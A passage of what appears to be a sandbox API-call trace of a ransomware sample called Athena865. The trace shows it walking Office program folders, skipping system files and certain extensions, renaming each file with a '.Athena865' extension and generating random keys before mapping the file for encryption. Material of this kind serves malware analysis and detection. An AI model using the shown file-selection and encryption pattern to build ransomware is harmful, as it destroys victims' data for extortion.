hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0149.883] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0149.883] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540fa0 [0149.883] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540fa0 | out: hHeap=0x4f0000) returned 1 [0149.883] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0149.884] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0149.884] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0149.884] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0149.884] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0149.884] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0149.884] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0149.884] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0149.884] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0149.887] CloseHandle (hObject=0x17c) returned 1 [0149.887] CloseHandle (hObject=0x154) returned 1 [0149.887] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0149.888] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0149.888] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0149.889] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43ac6400, ftCreationTime.dwHighDateTime=0x1cac1f5, ftLastAccessTime.dwLowDateTime=0xf5ee1fd0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x43ac6400, ftLastWriteTime.dwHighDateTime=0x1cac1f5, nFileSizeHigh=0x0, nFileSizeLow=0x9380, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XLLEX.DLL", cAlternateFileName="")) returned 1 [0149.889] lstrcmpiW (lpString1="XLLEX.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0149.889] lstrcmpiW (lpString1="XLLEX.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0149.889] lstrcmpiW (lpString1="XLLEX.DLL", lpString2=".") returned 1 [0149.889] lstrcmpiW (lpString1="XLLEX.DLL", lpString2="..") returned 1 [0149.889] lstrcmpiW (lpString1="XLLEX.DLL", lpString2="windows") returned 1 [0149.890] lstrcmpiW (lpString1="XLLEX.DLL", lpString2="bootmgr") returned 1 [0149.890] lstrcmpiW (lpString1="XLLEX.DLL", lpString2="temp") returned 1 [0149.890] lstrcmpiW (lpString1="XLLEX.DLL", lpString2="pagefile.sys") returned 1 [0149.890] lstrcmpiW (lpString1="XLLEX.DLL", lpString2="boot") returned 1 [0149.890] lstrcmpiW (lpString1="XLLEX.DLL", lpString2="ids.txt") returned 1 [0149.890] lstrcmpiW (lpString1="XLLEX.DLL", lpString2="ntuser.dat") returned 1 [0149.890] lstrcmpiW (lpString1="XLLEX.DLL", lpString2="perflogs") returned 1 [0149.890] lstrcmpiW (lpString1="XLLEX.DLL", lpString2="MSBuild") returned 1 [0149.890] lstrlenW (lpString="XLLEX.DLL") returned 9 [0149.890] lstrcpyW (in: lpString1=0x241e8a8, lpString2="XLLEX.DLL" | out: lpString1="XLLEX.DLL") returned="XLLEX.DLL" [0149.890] lstrlenW (lpString="XLLEX.DLL") returned 9 [0149.890] lstrlenW (lpString="Athena865") returned 9 [0149.890] lstrlenW (lpString=".dll") returned 4 [0149.890] lstrcmpiW (lpString1="XLLEX.DLL", lpString2=".dll") returned 1 [0149.890] lstrlenW (lpString=".lnk") returned 4 [0149.890] lstrcmpiW (lpString1="XLLEX.DLL", lpString2=".lnk") returned 1 [0149.890] lstrlenW (lpString=".ini") returned 4 [0149.890] lstrcmpiW (lpString1="XLLEX.DLL", lpString2=".ini") returned 1 [0149.890] lstrlenW (lpString=".sys") returned 4 [0149.890] lstrcmpiW (lpString1="XLLEX.DLL", lpString2=".sys") returned 1 [0149.890] lstrlenW (lpString="XLLEX.DLL") returned 9 [0149.890] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL.Athena865") returned 67 [0149.890] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xllex.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xllex.dll.athena865"), dwFlags=0x1) returned 1 [0149.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xllex.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0149.893] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=37760) returned 1 [0149.893] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0149.893] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0149.893] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0149.893] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0149.894] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0149.894] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0149.894] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9680, lpName=0x0) returned 0x17c [0149.896] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9680) returned 0x100000 [0149.898] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0149.898] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0149.898] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0149.899] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540fa0 [0149.899] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540fa0 | out: hHeap=0x4f0000) returned 1 [0149.899] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0149.899] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0149.899] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0149.899] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0149.899] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0149.899] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0149.899] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0149.899] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0149.899] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0149.900] CloseHandle (hObject=0x17c) returned 1 [0149.900] CloseHandle (hObject=0x154) returned 1 [0149.900] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0149.900] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0149.900] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0149.900] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae096500, ftCreationTime.dwHighDateTime=0x1c30d4d, ftLastAccessTime.dwLowDateTime=0xfa6bd7f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xae096500, ftLastWriteTime.dwHighDateTime=0x1c30d4d, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XLMACRO.CHM", cAlternateFileName="")) returned 1 [0149.900] lstrcmpiW (lpString1="XLMACRO.CHM", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0149.900] lstrcmpiW (lpString1="XLMACRO.CHM", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0149.900] lstrcmpiW (lpString1="XLMACRO.CHM", lpString2=".") returned 1 [0149.900] lstrcmpiW (lpString1="XLMACRO.CHM", lpString2="..") returned 1 [0149.900] lstrcmpiW (lpString1="XLMACRO.CHM", lpString2="windows") returned 1 [0149.900] lstrcmpiW (lpString1="XLMACRO.CHM", lpString2="bootmgr") returned 1 [0149.901] lstrcmpiW (lpString1="XLMACRO.CHM", lpString2="temp") returned 1 [0149.901] lstrcmpiW (lpString1="XLMACRO.CHM", lpString2="pagefile.sys") returned 1 [0149.901] lstrcmpiW (lpString1="XLMACRO.CHM", lpString2="boot") returned 1 [0149.901] lstrcmpiW (lpString1="XLMACRO.CHM", lpString2="ids.txt") returned 1 [0149.901] lstrcmpiW (lpString1="XLMACRO.CHM", lpString2="ntuser.dat") returned 1 [0149.901] lstrcmpiW (lpString1="XLMACRO.CHM", lpString2="perflogs") returned 1 [0149.901] lstrcmpiW (lpString1="XLMACRO.CHM", lpString2="MSBuild") returned 1 [0149.901] lstrlenW (lpString="XLMACRO.CHM") returned 11 [0149.901] lstrcpyW (in: lpString1=0x241e8a8, lpString2="XLMACRO.CHM" | out: lpString1="XLMACRO.CHM") returned="XLMACRO.CHM" [0149.901] lstrlenW (lpString="XLMACRO.CHM") returned 11 [0149.901] lstrlenW (lpString="Athena865") returned 9 [0149.901] lstrcmpiW (lpString1="MACRO.CHM", lpString2="Athena865") returned 1 [0149.901] lstrlenW (lpString=".dll") returned 4 [0149.901] lstrcmpiW (lpString1="XLMACRO.CHM", lpString2=".dll") returned 1 [0149.901] lstrlenW (lpString=".lnk") returned 4 [0149.901] lstrcmpiW (lpString1="XLMACRO.CHM", lpString2=".lnk") returned 1 [0149.901] lstrlenW (lpString=".ini") returned 4 [0149.901] lstrcmpiW (lpString1="XLMACRO.CHM", lpString2=".ini") returned 1 [0149.901] lstrlenW (lpString=".sys") returned 4 [0149.901] lstrcmpiW (lpString1="XLMACRO.CHM", lpString2=".sys") returned 1 [0149.901] lstrlenW (lpString="XLMACRO.CHM") returned 11 [0149.901] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM.Athena865") returned 69 [0149.901] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlmacro.chm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlmacro.chm.athena865"), dwFlags=0x1) returned 1 [0149.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlmacro.chm.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0149.904] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=11264) returned 1 [0149.904] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0149.904] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0149.904] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0149.904] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0149.905] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0149.905] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0149.905] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2f00, lpName=0x0) returned 0x17c [0149.907] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2f00) returned 0x100000 [0149.908] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0149.908] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0149.909] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0149.909] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540fa0 [0149.909] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540fa0 | out: hHeap=0x4f0000) returned 1 [0149.909] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0149.909] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0149.909] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0149.909] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0149.909] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0149.909] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0149.909] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0149.909] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0149.909] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0149.910] CloseHandle (hObject=0x17c) returned 1 [0149.910] CloseHandle (hObject=0x154) returned 1 [0149.910] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0149.910] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0149.910] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0149.910] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1ecf00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa6e3950, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a1ecf00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x2b580, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XLSLICER.DLL", cAlternateFileName="")) returned 1 [0149.910] lstrcmpiW (lpString1="XLSLICER.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0149.910] lstrcmpiW (lpString1="XLSLICER.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0149.910] lstrcmpiW (lpString1="XLSLICER.DLL", lpString2=".") returned 1 [0149.910] lstrcmpiW (lpString1="XLSLICER.DLL", lpString2="..") returned 1 [0149.910] lstrcmpiW (lpString1="XLSLICER.DLL", lpString2="windows") returned 1 [0149.910] lstrcmpiW (lpString1="XLSLICER.DLL", lpString2="bootmgr") returned 1 [0149.910] lstrcmpiW (lpString1="XLSLICER.DLL", lpString2="temp") returned 1 [0149.910] lstrcmpiW (lpString1="XLSLICER.DLL", lpString2="pagefile.sys") returned 1 [0149.910] lstrcmpiW (lpString1="XLSLICER.DLL", lpString2="boot") returned 1 [0149.910] lstrcmpiW (lpString1="XLSLICER.DLL", lpString2="ids.txt") returned 1 [0149.910] lstrcmpiW (lpString1="XLSLICER.DLL", lpString2="ntuser.dat") returned 1 [0149.910] lstrcmpiW (lpString1="XLSLICER.DLL", lpString2="perflogs") returned 1 [0149.910] lstrcmpiW (lpString1="XLSLICER.DLL", lpString2="MSBuild") returned 1 [0149.911] lstrlenW (lpString="XLSLICER.DLL") returned 12 [0149.911] lstrcpyW (in: lpString1=0x241e8a8, lpString2="XLSLICER.DLL" | out: lpString1="XLSLICER.DLL") returned="XLSLICER.DLL" [0149.911] lstrlenW (lpString="XLSLICER.DLL") returned 12 [0149.911] lstrlenW (lpString="Athena865") returned 9 [0149.911] lstrcmpiW (lpString1="LICER.DLL", lpString2="Athena865") returned 1 [0149.911] lstrlenW (lpString=".dll") returned 4 [0149.911] lstrcmpiW (lpString1="XLSLICER.DLL", lpString2=".dll") returned 1 [0149.911] lstrlenW (lpString=".lnk") returned 4 [0149.911] lstrcmpiW (lpString1="XLSLICER.DLL", lpString2=".lnk") returned 1 [0149.911] lstrlenW (lpString=".ini") returned 4 [0149.911] lstrcmpiW (lpString1="XLSLICER.DLL", lpString2=".ini") returned 1 [0149.911] lstrlenW (lpString=".sys") returned 4 [0149.911] lstrcmpiW (lpString1="XLSLICER.DLL", lpString2=".sys") returned 1 [0149.911] lstrlenW (lpString="XLSLICER.DLL") returned 12 [0149.911] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.Athena865") returned 70 [0149.911] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll.athena865"), dwFlags=0x1) returned 1 [0149.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0149.913] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=177536) returned 1 [0149.913] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0149.913] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0149.913] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0149.913] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0149.914] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0149.914] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0149.914] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2b880, lpName=0x0) returned 0x17c [0149.916] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2b880) returned 0x170000 [0149.922] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0149.922] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0149.922] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0149.923] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540fa0 [0149.923] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540fa0 | out: hHeap=0x4f0000) returned 1 [0149.923] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0149.923] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0149.923] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0149.923] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0149.923] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0149.923] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0149.923] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0149.923] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0149.923] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0149.925] CloseHandle (hObject=0x17c) returned 1 [0149.925] CloseHandle (hObject=0x154) returned 1 [0149.925] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0149.925] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0149.925] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0149.926] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc255d100, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa6e3950, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc255d100, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x3180, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XLSLICER.DLL.IDX_DLL", cAlternateFileName="XLSLIC~1.IDX")) returned 1 [0149.926] lstrcmpiW (lpString1="XLSLICER.DLL.IDX_DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0149.926] lstrcmpiW (lpString1="XLSLICER.DLL.IDX_DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0149.926] lstrcmpiW (lpString1="XLSLICER.DLL.IDX_DLL", lpString2=".") returned 1 [0149.926] lstrcmpiW (lpString1="XLSLICER.DLL.IDX_DLL", lpString2="..") returned 1 [0149.926] lstrcmpiW (lpString1="XLSLICER.DLL.IDX_DLL", lpString2="windows") returned 1 [0149.926] lstrcmpiW (lpString1="XLSLICER.DLL.IDX_DLL", lpString2="bootmgr") returned 1 [0149.926] lstrcmpiW (lpString1="XLSLICER.DLL.IDX_DLL", lpString2="temp") returned 1 [0149.926] lstrcmpiW (lpString1="XLSLICER.DLL.IDX_DLL", lpString2="pagefile.sys") returned 1 [0149.926] lstrcmpiW (lpString1="XLSLICER.DLL.IDX_DLL", lpString2="boot") returned 1 [0149.926] lstrcmpiW (lpString1="XLSLICER.DLL.IDX_DLL", lpString2="ids.txt") returned 1 [0149.926] lstrcmpiW (lpString1="XLSLICER.DLL.IDX_DLL", lpString2="ntuser.dat") returned 1 [0149.926] lstrcmpiW (lpString1="XLSLICER.DLL.IDX_DLL", lpString2="perflogs") returned 1 [0149.926] lstrcmpiW (lpString1="XLSLICER.DLL.IDX_DLL", lpString2="MSBuild") returned 1 [0149.926] lstrlenW (lpString="XLSLICER.DLL.IDX_DLL") returned 20 [0149.926] lstrcpyW (in: lpString1=0x241e8a8, lpString2="XLSLICER.DLL.IDX_DLL" | out: lpString1="XLSLICER.DLL.IDX_DLL") returned="XLSLICER.DLL.IDX_DLL" [0149.926] lstrlenW (lpString="XLSLICER.DLL.IDX_DLL") returned 20 [0149.927] lstrlenW (lpString="Athena865") returned 9 [0149.927] lstrcmpiW (lpString1="L.IDX_DLL", lpString2="Athena865") returned 1 [0149.927] lstrlenW (lpString=".dll") returned 4 [0149.927] lstrcmpiW (lpString1="XLSLICER.DLL.IDX_DLL", lpString2=".dll") returned 1 [0149.927] lstrlenW (lpString=".lnk") returned 4 [0149.927] lstrcmpiW (lpString1="XLSLICER.DLL.IDX_DLL", lpString2=".lnk") returned 1 [0149.927] lstrlenW (lpString=".ini") returned 4 [0149.927] lstrcmpiW (lpString1="XLSLICER.DLL.IDX_DLL", lpString2=".ini") returned 1 [0149.927] lstrlenW (lpString=".sys") returned 4 [0149.927] lstrcmpiW (lpString1="XLSLICER.DLL.IDX_DLL", lpString2=".sys") returned 1 [0149.927] lstrlenW (lpString="XLSLICER.DLL.IDX_DLL") returned 20 [0149.927] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL.Athena865") returned 78 [0149.927] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll.idx_dll.athena865"), dwFlags=0x1) returned 1 [0149.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll.idx_dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0149.929] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12672) returned 1 [0149.929] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0149.929] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0149.929] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0149.929] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0149.930] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0149.930] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0149.930] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3480, lpName=0x0) returned 0x17c [0149.931] MapViewOfFile (hFileMappingObject=0x17c, 